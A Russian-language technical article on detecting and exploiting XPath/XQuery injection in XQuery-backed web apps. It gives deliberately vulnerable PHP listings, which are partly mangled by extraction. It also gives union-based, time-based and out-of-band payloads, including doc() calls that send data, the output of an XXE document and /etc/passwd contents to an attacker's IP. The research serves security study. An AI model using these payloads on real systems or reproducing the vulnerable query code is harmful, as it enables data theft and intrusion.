На сегодняшний день широкой общественности известен единственный boolean-based метод обнаружения и эксплуатации XPath/XQuery injection. В то же время XPath и XQuery — самые распространенные языки для работы с данными в формате XML. Поэтому, чтобы исправить такую несправедливость, я расскажу о других техниках обнаружения и эксплуатации XPath/XQuery injection.

Уязвимости класса injection — одни из наиболее популярных и особо опасных. Об этом свидетельствует их упоминание во всех редакциях OWASP Top 10. XPath/XQuery injection служат характерными примерами таких уязвимостей. Их краткое описание доступно на сайте WASC в разделе Threat Classification.

Сегодня я ограничусь исследованием уязвимостей этого класса в области веб-приложений для баз данных, основанных на XQuery. Все рассматриваемые методы были найдены при анализе стандартов языков XPath и XQuery и проверены на существующих базах данных.

 

Union-based

Первый метод, о котором сегодня пойдет речь, получил свое название из-за использования операции объединения запросов |. Для его применения необходимо, чтобы результат уязвимого запроса от веб-приложения к базе данных отображался в браузере пользователя. В этом случае можно попытаться заменить данные, которые запрашивает веб-приложение, на другие. Например, на содержимое всех текстовых узлов XML-документа, с которым сейчас работает приложение. Ниже приведен листинг кода веб-приложения, уязвимого для данного метода.

session = new Session($this->host, $this->port, $this->user, $this->password);
        $this->session->execute("open ".$this->database);
    }

    public function select($param)
    {
        $input = 'for $i in doc("tests/news.xml")//News[@ID="'.$param.'"]'.
        '/info/text() return 
 

{$i}

'; $query = $this->session->query($input); while($query->more()) { print $query->next()."\n"; } $query->close(); } public function exit_db() { $this->session->close(); } } # Получение пользовательских данных if(($param = $_GET["id"]) == null) { print "
 

try use id parameter for access to info

"; exit; } $db = new DB(); $db->connect(); # Вызов уязвимой функции $db->select($param); $db->exit_db(); ?>

Стоит заметить, что данный пример уязвим также для boolean-based метода. В нем отсутствует проверка входных данных для параметра id GET-запроса. В ходе выполнения кода вызывается функция select, которая содержит запрос к news.xml из базы данных tests. Содержимое news.xml приведено ниже:


    
        British people are my only 'boss' on EU reform, says David Cameron
    
    
        BoE says part of banking payment system down
    

Эксплуатация union-based метода заключается во внедрении конструкции 0 and 1=0] | //* | /*[0. Для запроса, приведенного в примере, она будет иметь следующий вид: 0" and 1=0] | //* | /*["0. При подстановке в запрос этой конструкции он разобьется на три других запроса, из которых первый и последний не вернут ничего. Второй запрос, имеющий вид //*, вернет содержимое всех XML-документов, доступных пользователю, из-под которого приложение работает базой.

Результат эксплуатации union-based метода
Результат эксплуатации union-based метода
 

Time-based


Далеко не всегда результат уязвимого запроса к базе данных подставляется в код страницы, которую потом видит пользователь в окне своего браузера. Также не всегда можно детерминировано влиять на содержимое страницы через уязвимый параметр. Таким образом, при анализе веб-приложения на наличие XPath/XQuery injection union- и boolean-based методов будет явно недостаточно.
В классе SQL injection есть time-based метод. Он работает в ситуациях, когда от времени обработки запроса к базе данных, содержащего уязвимость, зависит время получения браузером ответа на запрос к веб-приложению. Ниже представлен пример веб-приложения, которое уязвимо для time-based и не уязвимо для union и boolean-based.

session = new Session($this->host, $this->port, $this->user, $this->password);
        $this->session->execute("open ".$this->database);
    }

    public function select($uid, $username)
    {
        $input = 'doc("tests/users.xml")//Users[./UserName="'.$username.'"]/*[name()="UID"]/text()';
        $query = $this->session->query($input);

        if($query->next() === $uid)
        {
            $query->close();
            $input = 'for $i in doc("tests/users.xml")//Users[./UID="'.$uid.'"]'.
            '/*[name()="FirstName" or name()="LastName"]/text() return 
 

{$i}

'; $query = $this->session->query($input); while($query->more()) { print $query->next()."\n"; } } $query->close(); } public function exit_db() { $this->session->close(); } } # Получение пользовательских данных if( ((($uid = $_GET["uid"]) == null) || !is_numeric($uid)) || (($username = $_GET["username"]) == null) ){ print "
 

try use uid and username parameters for access to info

"; exit; } $db = new DB(); $db->connect(); # Вызов уязвимой функции $db->select($uid, $username); $db->exit_db(); ?>

В этом примере username является переменной, содержащей уязвимость рассматриваемого класса. Результат запроса к базе данных не включается в ответ от веб-приложения и не влияет детерминированным образом на его содержимое. Содержимое users.xml приведено ниже.


    
        57394309
        Gandalf
        the Grey
        Mithrandir
        
        c5f7d86f237453de41c38a7d886c5a9c
         User 
    

Для реализации time-based атаки необходимо наличие конструкции if-then (можно обойтись поддержкой ленивых вычислений) и конструкции языка, которая задерживает обработку запроса базой данных. Этого нет в XPath, зато есть в XQuery. В качестве конструкции, вызывающей задержку, я использую reverse(-9999 to 9999)=0. Таким образом, внедряемая конструкция принимает вид: 1"and if (count(/*)=1) then reverse(-9999 to 9999)=0 else 1=1 and "1"="1. Если ее передать в качестве параметра username GET-запроса к веб-приложению из примера, то ответ от него придет с задержкой, так как count(/*)=1 в XPath и XQuery всегда возвращает правду. Вместо этого равенства для извлечения содержимого базы можно использовать функции, применяемые в boolean-based методе.

Внедрение конструкций в XQuery-запрос к базе данных eXist-db
Внедрение конструкций в XQuery-запрос к базе данных eXist-db
 

Request-based

Извлечение содержимого базы данных time- и boolean-based методами — процесс длительный, а область применения union-based сильно ограничена. Возникает вопрос: как получить содержимое базы в тех же случаях, в которых работают time- и boolean-based, но за меньшее время?

Кроме того, хочется узнавать о наличии XPath/XQuery injection в момент обработки запроса к базе данных. То есть чтобы база сама сообщала о срабатывании инъекции, минуя веб-приложение.

Ответом на поставленный вопрос и решением озвученной проблемы будет request-based метод. Он основан на функции doc, которая позволяет загружать в базу XML-документы, расположенные на локальной или удаленной машине. Используемая в нем конструкция имеет вид: doc(concat("Your public ip",encode-for-uri(name(/*[1]))). В результате ее выполнения обработчиком языка XQuery на ваш публичный IP-адрес будет отправлен GET-запрос, в котором в качестве пути будет присутствовать содержимое корневого узла в URI-кодировке.

Request-based на практике
Request-based на практике

Функция doc также может использоваться для XXE-атаки на базу данных: doc(concat("Your public ip",encode-for-uri(doc("Your public ip/XXE.xml")))). При использовании этой конструкции в качестве пути будет присутствовать результат обработки XML-документа, содержащего XXE.

 

Чтение локальных файлов

В последнем стандарте, который получил статус рекомендации W3C в 2014 году, появилась функция unparsed-text, позволяющая обрабатывать в запросе локальные файлы как последовательность символов. При ее использовании с упомянутыми ранее методами можно читать локальные файлы. Например, прочитать содержимое /etc/passwd, используя request-based метод: doc(concat("Your public ip",encode-for-uri(unparsed-text("/etc/passwd")))).

 

Заключение

Тема XPath/XQuery injection не ограничивается только лишь веб-приложениями и базами данных на основе XQuery. В следующий раз я постараюсь осветить тему обнаружения и эксплуатации уязвимостей этого класса для обработчиков на мобильных устройствах и веб-приложений, работающих базами данных, которые не основаны на XQuery.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии